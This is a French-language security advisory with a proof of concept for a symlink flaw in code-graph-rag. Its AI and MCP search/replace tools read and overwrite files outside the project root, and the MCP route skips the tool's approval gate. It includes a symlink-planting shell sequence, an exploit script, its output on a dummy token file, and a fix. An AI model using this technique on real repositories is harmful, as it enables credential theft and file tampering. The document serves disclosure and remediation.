
PoC — suivi de lien symbolique permettant la lecture/écriture arbitraire de fichiers en dehors de la racine du projet dans code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).
Statut CVE : demandé, en attente d'attribution. Cette découverte est publiée sous GHSA-85gg-2gfq-q95m. À l'attribution de la CVE, ce dépôt sera renommé
CVE-YYYY-NNNNN-code-graph-rag-PoCet cette bannière sera remplacée par le lien CVE.
| Chercheur | Dostxodjayev Abdullox (@squeeze440) |
| Avis | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (Élevé) |
| Faiblesse | CWE-59, CWE-22 |
Résumé
Un attaquant distant/local capable de faire inclure un lien symbolique dans un dépôt de code source que code-graph-rag analyse peut amener les outils structural_search et structural_replace (reposant sur AstGrepService, exposés à la fois comme outils MCP et comme outils d'IA agentique) à lire et — via structural_replace avec dry_run=False — à écraser des fichiers arbitraires en dehors de la racine de projet configurée, car la vérification de confinement de chemin de l'outil (should_skip_path/_classify_file) est effectuée de manière lexicale sur le chemin non résolu et ne vérifie jamais Path.is_symlink() ni n'appelle .resolve(), contrairement au décorateur validate_project_path du projet lui-même (correct) utilisé ailleurs.
Produit
vitali87/code-graph-rag (PyPI : code-graph-rag, CLI : cgr)
Version testée
Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (version pyproject 0.0.550) — main actuel au moment du test. Confirmé que ce commit contient déjà le correctif de l'avis précédent (GHSA-vvr2-h2jp-838m : traversée de chemin dans read_file paginé) et la nouvelle barrière d'authentification bearer HTTP-MCP (_validate_http_exposure dans codebase_rag/mcp/server.py), il s'agit donc d'un problème distinct, toujours ouvert, par-dessus ces correctifs.
CVSS v3.1 estimé
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Élevé)
Métriques non évidentes :
structural_search/structural_replace contre ce projet pour que la lecture/écriture se déclenche.Détails
AstGrepService (codebase_rag/tools/ast_grep_service.py) alimente à la fois les outils MCP/agentiques structural_search et structural_replace. Il énumère les fichiers candidats avec os.walk() et ne filtre chaque chemin que via should_skip_path() :
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — parcourt self.project_root avec os.walk() ; chaque entrée de répertoire non-répertoire retournée par os.walk (y compris un lien symbolique pointant n'importe où sur le disque) est traitée comme un fichier dans le périmètre.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — la seule vérification de confinement est should_skip_path(...) suivie de abs_path.relative_to(self.project_root) (ligne 82) ; abs_path n'est jamais résolu, donc cette vérification est purement lexicale/basée sur des chaînes.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) et codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcule rel_path = file_path.relative_to(repo_path) sans jamais appeler .resolve() ni Path.is_symlink(). Rien dans cette fonction ne traite un lien symbolique différemment d'un fichier réel.codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) appelle path.read_text(), que Python suit à travers le lien symbolique jusqu'à sa cible réelle, peu importe où cette cible se trouve.codebase_rag/tools/ast_grep_service.py:187-208 (replace), spécifiquement la ligne 208 — abs_path.write_text(new_source, ...) lorsque dry_run=False, suivant à nouveau le lien symbolique et écrasant le contenu du fichier cible réel.Ceci est incohérent avec la façon dont le reste du codebase gère exactement la même classe de risque. Les outils de lecture/écriture/édition de fichiers (file_reader.py, file_writer.py, file_editor.py) sont tous protégés par validate_project_path (codebase_rag/decorators.py:73-75) :
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() suit les liens symboliques avant que la vérification de confinement ne s'exécute, donc ces outils rejettent correctement une cible hors racine. Le propre absolute_path_within_project_root() de path_utils.py (codebase_rag/utils/path_utils.py:156-176) documente explicitement le même principe dans sa docstring : « Les appels à resolve() sont porteurs : le confinement est vérifié de manière lexicale, donc un segment .. non résolu ou un lien symbolique s'échapperait de la racine. » — mais should_skip_path()/AstGrepService, utilisés par structural_search/structural_replace, n'appliquent jamais ce modèle.
Accessibilité / exposition des deux outils :
structural_search (codebase_rag/tools/structural_search.py:24-46) ne porte aucun indicateur requires_approval — le modèle d'un client MCP peut l'appeler de manière autonome sans confirmation humaine.structural_replace (codebase_rag/tools/structural_editor.py:52-57) est marqué requires_approval=True, mais cet indicateur n'est appliqué que par la propre boucle d'agent de pydantic-ai. Le chemin du serveur MCP le contourne entièrement : MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) appelle directement self._structural_editor_tool.function(...), et l'outil MCP est enregistré sans aucun concept d'approbation à codebase_rag/mcp/tools.py:369-388 (ToolMetadata pour MCPToolName.STRUCTURAL_REPLACE) — tout client MCP capable d'appeler des outils peut invoquer structural_replace avec dry_run=False en une seule fois.Preuve de concept
Confirmé dynamiquement contre le paquet installé (mgclient/pymgclient simulés exactement comme dans le PoC de l'avis précédent, car le client natif Memgraph n'est pas nécessaire pour ce chemin de code).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
Sortie réelle de l'exécution (/tmp/poc_venv, paquet installé via pip install --no-deps -e . depuis le commit testé) :
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
Aucune capture d'écran — il s'agit d'une découverte purement au niveau bibliothèque/CLI sans composant navigateur/GUI.
Impact
Tout opérateur qui pointe cgr (CLI, mode agentique ask_agent, ou outils MCP structural_search/structural_replace) vers un dépôt qu'il n'a pas entièrement audité — le cas d'usage exact pour lequel cet outil est conçu (« interroger, comprendre et éditer des bases de code multi-langages ») — peut voir le lien symbolique implanté dans ce dépôt utilisé pour :
cgr (identifiants, clés SSH, fichiers .env, code source de projets voisins), via structural_search, sans aucune barrière d'approbation.cgr, via structural_replace(dry_run=False), en contournant la propre barrière d'approbation de l'outil lorsqu'il est appelé via le protocole MCP.Il s'agit de la même classe de bug « du contenu malveillant dans le codebase analysé s'échappe de project_root » que GHSA-vvr2-h2jp-838m, mais avec une cause racine distincte (absence de résolution des liens symboliques dans AstGrepService/should_skip_path, CWE-59) et un puits distinct et plus grave (écriture arbitraire, pas seulement lecture) dans un composant différent (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, et non le read_file paginé de codebase_rag/mcp/tools.py). Il ne chevauche pas les plages de lignes vulnérables ni le correctif de l'avis précédent.
Faiblesses
Remédiation
Appliquer le même modèle résoudre-puis-contenir déjà utilisé par validate_project_path (codebase_rag/decorators.py:73-75) et absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) à should_skip_path. Rejeter tout chemin dont l'emplacement résolu (après suivi des liens symboliques) s'échappe de la racine de projet résolue, plutôt que de ne vérifier que la chaîne de chemin non résolue :
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
Concrètement : ce seul changement dans should_skip_path corrige à la fois _classify_file (recherche) et le filtrage os.walk dans _iter_source_files (remplacement), puisque les deux passent par lui. En défense en profondeur, _iter_source_files pourrait en outre ignorer d'emblée les entrées de répertoire liées symboliquement (entry.is_symlink()) pendant le os.walk, car un outil d'analyse de code piloté par IA ne devrait jamais avoir besoin de traverser en dehors de la racine indexée.
Crédit
Dostxodjayev Abdullox (GitHub : squeeze440)
Canal de signalement
Le signalement privé de vulnérabilités (PVR) est confirmé activé sur vitali87/code-graph-rag ; ce rapport est destiné à être soumis via ce canal (GitHub Security Advisories), conformément à l'avis déjà publié du dépôt (GHSA-vvr2-h2jp-838m).